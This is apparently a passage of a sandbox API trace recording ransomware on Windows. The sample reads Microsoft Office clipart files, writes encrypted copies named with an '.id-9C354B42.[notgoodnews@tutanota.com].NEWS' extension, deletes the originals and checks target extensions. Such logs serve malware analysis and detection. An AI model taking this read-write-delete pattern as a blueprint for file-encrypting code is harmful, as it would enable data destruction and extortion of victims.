Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.563] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0230.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.564] lstrlenW (lpString=".doc") returned 4 [0230.564] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.564] lstrlenW (lpString=".docx") returned 5 [0230.564] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.565] lstrlenW (lpString=".pdf") returned 4 [0230.565] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.565] lstrlenW (lpString=".xls") returned 4 [0230.565] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.565] lstrlenW (lpString=".xlsx") returned 5 [0230.565] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.565] lstrlenW (lpString=".ppt") returned 4 [0230.565] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.565] lstrlenW (lpString=".zip") returned 4 [0230.565] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.565] lstrlenW (lpString=".rar") returned 4 [0230.566] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.566] lstrlenW (lpString=".bz2") returned 4 [0230.566] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.566] lstrlenW (lpString=".7z") returned 3 [0230.566] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.566] lstrlenW (lpString=".dbf") returned 4 [0230.566] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.566] lstrlenW (lpString=".1cd") returned 4 [0230.566] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.566] lstrlenW (lpString=".jpg") returned 4 [0230.567] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.567] lstrlenW (lpString=".doc") returned 4 [0230.567] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.567] lstrlenW (lpString=".docx") returned 5 [0230.567] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.567] lstrlenW (lpString=".pdf") returned 4 [0230.567] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.568] lstrlenW (lpString=".xls") returned 4 [0230.568] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.568] lstrlenW (lpString=".xlsx") returned 5 [0230.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.568] lstrlenW (lpString=".ppt") returned 4 [0230.568] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.568] lstrlenW (lpString=".zip") returned 4 [0230.568] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.568] lstrlenW (lpString=".rar") returned 4 [0230.568] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.568] lstrlenW (lpString=".bz2") returned 4 [0230.568] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.568] lstrlenW (lpString=".7z") returned 3 [0230.568] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.569] lstrlenW (lpString=".dbf") returned 4 [0230.569] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.569] lstrlenW (lpString=".1cd") returned 4 [0230.569] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63 [0230.569] lstrlenW (lpString=".jpg") returned 4 [0230.569] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.570] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.570] lstrlenW (lpString="AG00135_.GIF") returned 12 [0230.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0230.624] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2596) returned 1 [0230.624] CloseHandle (hObject=0x39c) returned 1 [0230.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0230.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0230.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0230.625] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0230.625] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0230.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0230.627] GetLastError () returned 0x0 [0230.627] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0xa24, lpOverlapped=0x0) returned 1 [0230.660] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xa30, lpOverlapped=0x0) returned 1 [0230.663] ReadFile (in: hFile=0x39c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0230.663] WriteFile (in: hFile=0x1c0, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0230.663] SetEndOfFile (hFile=0x1c0) returned 1 [0230.664] CloseHandle (hObject=0x1c0) returned 1 [0230.664] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0230.664] SetEndOfFile (hFile=0x39c) returned 1 [0230.673] CloseHandle (hObject=0x39c) returned 1 [0230.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0230.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0230.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.896] lstrlenW (lpString=".doc") returned 4 [0230.896] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.896] lstrlenW (lpString=".docx") returned 5 [0230.896] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.897] lstrlenW (lpString=".pdf") returned 4 [0230.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.897] lstrlenW (lpString=".xls") returned 4 [0230.897] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.897] lstrlenW (lpString=".xlsx") returned 5 [0230.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.897] lstrlenW (lpString=".ppt") returned 4 [0230.897] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.897] lstrlenW (lpString=".zip") returned 4 [0230.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.897] lstrlenW (lpString=".rar") returned 4 [0230.897] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.898] lstrlenW (lpString=".bz2") returned 4 [0230.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.898] lstrlenW (lpString=".7z") returned 3 [0230.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.898] lstrlenW (lpString=".dbf") returned 4 [0230.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.898] lstrlenW (lpString=".1cd") returned 4 [0230.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.899] lstrlenW (lpString=".jpg") returned 4 [0230.899] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.899] lstrlenW (lpString=".doc") returned 4 [0230.899] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0230.899] lstrlenW (lpString=".docx") returned 5 [0230.899] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0230.899] lstrlenW (lpString=".pdf") returned 4 [0230.899] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0230.899] lstrlenW (lpString=".xls") returned 4 [0230.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0230.900] lstrlenW (lpString=".xlsx") returned 5 [0230.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0230.900] lstrlenW (lpString=".ppt") returned 4 [0230.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0230.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.900] lstrlenW (lpString=".zip") returned 4 [0230.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0230.900] lstrlenW (lpString=".rar") returned 4 [0230.900] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0230.900] lstrlenW (lpString=".bz2") returned 4 [0230.900] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0230.900] lstrlenW (lpString=".7z") returned 3 [0230.900] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0230.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.901] lstrlenW (lpString=".dbf") returned 4 [0230.901] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0230.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.901] lstrlenW (lpString=".1cd") returned 4 [0230.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0230.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0230.901] lstrlenW (lpString=".jpg") returned 4 [0230.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0230.902] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0230.902] lstrlenW (lpString="AG00157_.GIF") returned 12 [0230.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0231.070] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=4955) returned 1 [0231.070] CloseHandle (hObject=0x3b0) returned 1 [0231.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0231.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0231.165] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0231.165] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0231.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0231.165] GetLastError () returned 0x0 [0231.166] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x135b, lpOverlapped=0x0) returned 1 [0231.204] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1360, lpOverlapped=0x0) returned 1 [0231.207] ReadFile (in: hFile=0x3c0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0231.207] WriteFile (in: hFile=0x3c4, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.208] SetEndOfFile (hFile=0x3c4) returned 1 [0231.436] CloseHandle (hObject=0x3c4) returned 1 [0231.436] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0231.437] SetEndOfFile (hFile=0x3c0) returned 1 [0231.574] CloseHandle (hObject=0x3c0) returned 1 [0231.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0231.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.651] lstrlenW (lpString=".doc") returned 4 [0231.651] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.651] lstrlenW (lpString=".docx") returned 5 [0231.651] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.651] lstrlenW (lpString=".pdf") returned 4 [0231.652] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.652] lstrlenW (lpString=".xls") returned 4 [0231.652] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.652] lstrlenW (lpString=".xlsx") returned 5 [0231.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.652] lstrlenW (lpString=".ppt") returned 4 [0231.652] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.652] lstrlenW (lpString=".zip") returned 4 [0231.652] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.652] lstrlenW (lpString=".rar") returned 4 [0231.652] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.653] lstrlenW (lpString=".bz2") returned 4 [0231.653] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.654] lstrlenW (lpString=".7z") returned 3 [0231.654] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.654] lstrlenW (lpString=".dbf") returned 4 [0231.654] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.654] lstrlenW (lpString=".1cd") returned 4 [0231.654] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.654] lstrlenW (lpString=".jpg") returned 4 [0231.654] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.655] lstrlenW (lpString=".doc") returned 4 [0231.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.655] lstrlenW (lpString=".docx") returned 5 [0231.655] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.655] lstrlenW (lpString=".pdf") returned 4 [0231.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.655] lstrlenW (lpString=".xls") returned 4 [0231.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.655] lstrlenW (lpString=".xlsx") returned 5 [0231.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.655] lstrlenW (lpString=".ppt") returned 4 [0231.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.656] lstrlenW (lpString=".zip") returned 4 [0231.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.656] lstrlenW (lpString=".rar") returned 4 [0231.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.656] lstrlenW (lpString=".bz2") returned 4 [0231.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.656] lstrlenW (lpString=".7z") returned 3 [0231.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.656] lstrlenW (lpString=".dbf") returned 4 [0231.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.657] lstrlenW (lpString=".1cd") returned 4 [0231.657] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0231.657] lstrlenW (lpString=".jpg") returned 4 [0231.657] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.657] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.658] lstrlenW (lpString="AG00161_.GIF") returned 12 [0231.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0231.677] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=7583) returned 1 [0231.677] CloseHandle (hObject=0x370) returned 1 [0231.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0231.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0231.678] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0231.678] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0231.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0231.679] GetLastError () returned 0x0 [0231.679] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0232.018] WriteFile (in: hFile=0x338, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0232.030] ReadFile (in: hFile=0x370, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0232.030] WriteFile (in: hFile=0x338, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.031] SetEndOfFile (hFile=0x338) returned 1 [0232.031] CloseHandle (hObject=0x338) returned 1 [0232.031] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0232.031] SetEndOfFile (hFile=0x370) returned 1 [0232.038] CloseHandle (hObject=0x370) returned 1 [0232.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0232.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0232.262] lstrlenW (lpString=".doc") returned 4 [0232.262] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.262] lstrlenW (lpString=".docx") returned 5 [0232.262] lstrcmpiW 